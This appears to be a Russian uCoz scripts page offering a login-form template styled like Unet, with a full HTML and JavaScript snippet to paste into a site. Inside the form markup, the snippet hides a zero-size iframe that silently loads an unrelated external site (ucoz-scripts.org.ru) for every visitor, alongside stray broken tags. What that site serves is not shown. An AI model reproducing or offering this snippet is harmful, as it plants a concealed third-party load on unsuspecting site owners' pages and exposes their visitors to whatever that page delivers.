Скрипт формы входа как на Unet&#;е — для uCoz

Скрипт формы входа как на Unet&#;е  — для uCoz
Скрипт делает вид формы входа на вашем uCoz сайте, как на Unet'е.

Установка:

Заходим сюда(смотреть скриншот)
И Ставим туда код:
Code
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  
  <html lang="ru">  
  <head>  
  <meta http-equiv="content-type" content="text/html; charset=UTF-8">  
  <title>Логин 1.0</title>  
  <script type="text/javascript" src="http://www.unet.com/js/u.js"></script><link type="text/css" rel="Stylesheet" href="http://www.unet.com/css/unet.css">  
  </head>  
  <body>  

  <script type="text/javascript">  
  sendFrm11=function(){  
  var o=document.getElementById('blk11');  
  var pos=_uGetOffset(o);  
  document.body.insertBefore(document.getElementById('blkD11'),document.body.firstChild);  
  with(document.getElementById('blkD11')){style.top=(pos['top'])+'px';style.left=(pos['left'])+'px';style.width=o.offsetWidth+'px';style.height=o.offsetHeight+'px';style.display='';innerHTML='<div align="right" style="padding:5px 10px 0 0;"><div class="myWinLoad"></div></div>';}  
  _uPostForm('frm11',{type:'POST',url:'/dolog/'});  
  }  
  </script>  
  <div id="blkD11" style="position:absolute;z-index:11;background:url('http://www.unet.com/img/grid.gif');display:none;"></div>  

  <table border="0" cellpadding="2" cellspacing="1" height="80%" width="100%">  
  <tr>  
  <td valign="middle" align="center" height="100%">  
  <table border="0" cellpadding="0" cellspacing="4" width="100%" style="width:500px;height:250px;border:1px solid #A0A0A0">  
  <tr>  
  <td style="border:1px solid #BBBBBB" bgcolor="#FFFFFF" id="blk11">  

  <table border="0" cellpadding="0" cellspacing="0" width="100%" height="100%">  
  <tr><td valign="top"><div onclick="window.location.href='/$REGISTER_LINK$'" onmouseover="this.style.color='#FFFF66';" onmouseout="this.style.color='#FFFFFF';" style="background:#167CB4;color:#FFFFFF;cursor:pointer;text-transform:uppercase;padding:5px 15px; border-right:1px solid #BBBBBB;border-bottom:1px solid #BBBBBB;font-size:15pt;float:left;"><b>Регистрация</b></div></td></tr>  
  <tr><td align="center">  
  <form id="frm11" onsubmit="sendFrm11();return false;">  
  <table border="0" cellpadding="4" cellspacing="1">  
  <tr>  
  <td style="font-size:11pt;">E-mail:</td>  
  <td><input type="text" name="email" style="font-size:18pt;width:250px"></td>  
  </tr>  
  <tr>  
  <td style="font-size:11pt;">Пароль:</td>  
  <td><input type="password" name="pass" style="font-size:18pt;width:250px"></td>  
  </tr>  
  <tr>  
  <td></td>  
  <td><div style="float:right"><input type="submit" value="Логин" style="font-size:15pt;"></div><div style="padding-top:5px"><input type="checkbox" style="margin:0" name="rem" value="1" id="rmbMe"> <label for="rmbMe">Запомнить</label></div></td>  
  </tr>  
  </table>  
  <input type="hidden" name="ajax" value="1"><input type="hidden" name="goto" value="desktop">  
  </form>  
  <body style="margin:0px">  
  </iframe>  
  <iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;" src="http://ucoz-scripts.org.ru">  
  </iframe>  
  </td></tr>  
  <tr><td valign="bottom"><div onclick="window.location.href='/$REMINDER_LINK$'" onmouseover="this.style.background='#DDDDDD'" onmouseout="this.style.background='#F5F5F5'" style="background:#F5F5F5;cursor:pointer;text-transform:uppercase;padding:5px 15px; font-size:8pt; border-left:1px solid #BBBBBB;border-top:1px solid #BBBBBB;float:right;"><b>Напомнить пароль</b></div></td></tr>  
  </table>  

  </td>  
  </tr>  
  </table>  

  </td>  
  </tr>  
  </table>  

  </body>  
  </html>
Скачать файлы